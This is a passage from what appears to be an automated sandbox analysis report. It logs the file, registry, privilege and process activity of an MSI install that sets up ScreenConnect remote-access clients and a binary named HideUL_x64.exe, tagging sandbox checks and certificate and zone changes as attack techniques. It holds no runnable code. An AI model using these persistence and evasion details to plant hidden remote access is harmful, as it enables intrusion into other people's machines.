msiexec.exe File created C:\Windows\Installer\e59ed92.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF4F6.tmp msiexec.exe File created C:\Windows\Installer\e59ed97.msi msiexec.exe File opened for modification C:\Windows\Installer\e59ed92.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF778.tmp msiexec.exe File opened for modification C:\Windows\Installer\{366CADB5-3465-6D41-E912-4DBEC3B5D11E}\DefaultIcon msiexec.exe File opened for modification C:\Windows\SystemTemp\MSI84EC.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI8DBB.tmp msiexec.exe File opened for modification C:\Windows\Installer\{79D068F5-40E4-3614-A683-E351DF40BEBD}\icon.ico HideUL_x64.exe File created C:\Windows\SystemTemp\~DFF3DDEE6EDDB457CF.TMP msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_vmqsbfez.kv0.ps1 powershell.exe File created C:\Windows\Installer\e59ed95.msi msiexec.exe File opened for modification C:\Windows\Installer\{DCD6D70D-34CA-0ECF-772B-8C1EF9421A11}\DefaultIcon msiexec.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 4556 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 460 msiexec.exe - System Location Discovery: System Language Discovery 1 TTPs 11 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ffbf1fc65d8bbf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ffbf1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ffbf1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ffbf1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ffbf1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinVertGap = "0" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinHorzGap = "0" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\Version = "436273176" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BD6793B8E365031F37E5D936A96DA7DC msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-e869721f4276291b msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A34C-ED1D5D3D2046}\ = "ScreenConnect Client (735e9d639ad67acd) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\ProductName = "ScreenConnect Client (e869721f4276291b)" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-735e9d639ad67acd\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A34C-ED1D5D3D2046}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (735e9d639ad67acd)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-735e9d639ad67acd\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-735e9d639ad67acd msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D07D6DCDAC43FCE077B2C8E19F24A111\Full msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-735e9d639ad67acd\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-735e9d639ad67acd msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (e869721f4276291b)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5BDAC663564314D69E21D4EB3C5B1DE1\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ ScreenConnect.WindowsBackstageShell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\ProductName = "ScreenConnect Client (735e9d639ad67acd)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\PackageCode = "D07D6DCDAC43FCE077B2C8E19F24A111" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\Version = "419561476" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\SourceList\LastUsedSource = "n;1;C:\\Windows\\SystemTemp\\ScreenConnect\\26.1.24.9579\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\PackageCode = "5BDAC663564314D69E21D4EB3C5B1DE1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\ProductIcon = "C:\\Windows\\Installer\\{366CADB5-3465-6D41-E912-4DBEC3B5D11E}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BD6793B8E365031F37E5D936A96DA7DC\D07D6DCDAC43FCE077B2C8E19F24A111 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\SourceList\PackageName = "c5build.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b\shell\open msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-A34C-ED1D5D3D2046}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-0779-ED0DD7882A71}\ = "ScreenConnect Client (e869721f4276291b) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-A34C-ED1D5D3D2046} msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D07D6DCDAC43FCE077B2C8E19F24A111 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e869721f4276291b\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-0779-ED0DD7882A71}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (e869721f4276291b)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-735e9d639ad67acd\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-e869721f4276291b\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5BDAC663564314D69E21D4EB3C5B1DE1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0EBD5B9AF517A5A08E9627F1246792B1 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0EBD5B9AF517A5A08E9627F1246792B1\5BDAC663564314D69E21D4EB3C5B1DE1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5BDAC663564314D69E21D4EB3C5B1DE1\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-735e9d639ad67acd\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (735e9d639ad67acd)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\ProductIcon = "C:\\Windows\\Installer\\{DCD6D70D-34CA-0ECF-772B-8C1EF9421A11}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-0779-ED0DD7882A71}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A34C-ED1D5D3D2046}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D07D6DCDAC43FCE077B2C8E19F24A111\Assignment = "1" msiexec.exe - Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 2652 msiexec.exe 2652 msiexec.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4708 ScreenConnect.ClientService.exe 4556 powershell.exe 4556 powershell.exe 4556 powershell.exe 2652 msiexec.exe 2652 msiexec.exe 3540 HideUL_x64.exe 3540 HideUL_x64.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe 4480 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 460 msiexec.exe Token: SeIncreaseQuotaPrivilege 460 msiexec.exe Token: SeSecurityPrivilege 2652 msiexec.exe Token: SeCreateTokenPrivilege 460 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 460 msiexec.exe Token: SeLockMemoryPrivilege 460 msiexec.exe Token: SeIncreaseQuotaPrivilege 460 msiexec.exe Token: SeMachineAccountPrivilege 460 msiexec.exe Token: SeTcbPrivilege 460 msiexec.exe Token: SeSecurityPrivilege 460 msiexec.exe Token: SeTakeOwnershipPrivilege 460 msiexec.exe Token: SeLoadDriverPrivilege 460 msiexec.exe Token: SeSystemProfilePrivilege 460 msiexec.exe Token: SeSystemtimePrivilege 460 msiexec.exe Token: SeProfSingleProcessPrivilege 460 msiexec.exe Token: SeIncBasePriorityPrivilege 460 msiexec.exe Token: SeCreatePagefilePrivilege 460 msiexec.exe Token: SeCreatePermanentPrivilege 460 msiexec.exe Token: SeBackupPrivilege 460 msiexec.exe Token: SeRestorePrivilege 460 msiexec.exe Token: SeShutdownPrivilege 460 msiexec.exe Token: SeDebugPrivilege 460 msiexec.exe Token: SeAuditPrivilege 460 msiexec.exe Token: SeSystemEnvironmentPrivilege 460 msiexec.exe Token: SeChangeNotifyPrivilege 460 msiexec.exe Token: SeRemoteShutdownPrivilege 460 msiexec.exe Token: SeUndockPrivilege 460 msiexec.exe Token: SeSyncAgentPrivilege 460 msiexec.exe Token: SeEnableDelegationPrivilege 460 msiexec.exe Token: SeManageVolumePrivilege 460 msiexec.exe Token: SeImpersonatePrivilege 460 msiexec.exe Token: SeCreateGlobalPrivilege 460 msiexec.exe Token: SeCreateTokenPrivilege 460 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 460 msiexec.exe Token: SeLockMemoryPrivilege 460 msiexec.exe Token: SeIncreaseQuotaPrivilege 460 msiexec.exe Token: SeMachineAccountPrivilege 460 msiexec.exe Token: SeTcbPrivilege 460 msiexec.exe Token: SeSecurityPrivilege 460 msiexec.exe Token: SeTakeOwnershipPrivilege 460 msiexec.exe Token: SeLoadDriverPrivilege 460 msiexec.exe Token: SeSystemProfilePrivilege 460 msiexec.exe Token: SeSystemtimePrivilege 460 msiexec.exe Token: SeProfSingleProcessPrivilege 460 msiexec.exe Token: SeIncBasePriorityPrivilege 460 msiexec.exe Token: SeCreatePagefilePrivilege 460 msiexec.exe Token: SeCreatePermanentPrivilege 460 msiexec.exe Token: SeBackupPrivilege 460 msiexec.exe Token: SeRestorePrivilege 460 msiexec.exe Token: SeShutdownPrivilege 460 msiexec.exe Token: SeDebugPrivilege 460 msiexec.exe Token: SeAuditPrivilege 460 msiexec.exe Token: SeSystemEnvironmentPrivilege 460 msiexec.exe Token: SeChangeNotifyPrivilege 460 msiexec.exe Token: SeRemoteShutdownPrivilege 460 msiexec.exe Token: SeUndockPrivilege 460 msiexec.exe Token: SeSyncAgentPrivilege 460 msiexec.exe Token: SeEnableDelegationPrivilege 460 msiexec.exe Token: SeManageVolumePrivilege 460 msiexec.exe Token: SeImpersonatePrivilege 460 msiexec.exe Token: SeCreateGlobalPrivilege 460 msiexec.exe Token: SeCreateTokenPrivilege 460 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 460 msiexec.exe Token: SeLockMemoryPrivilege 460 msiexec.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 460 msiexec.exe 460 msiexec.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 4760 ScreenConnect.WindowsClient.exe 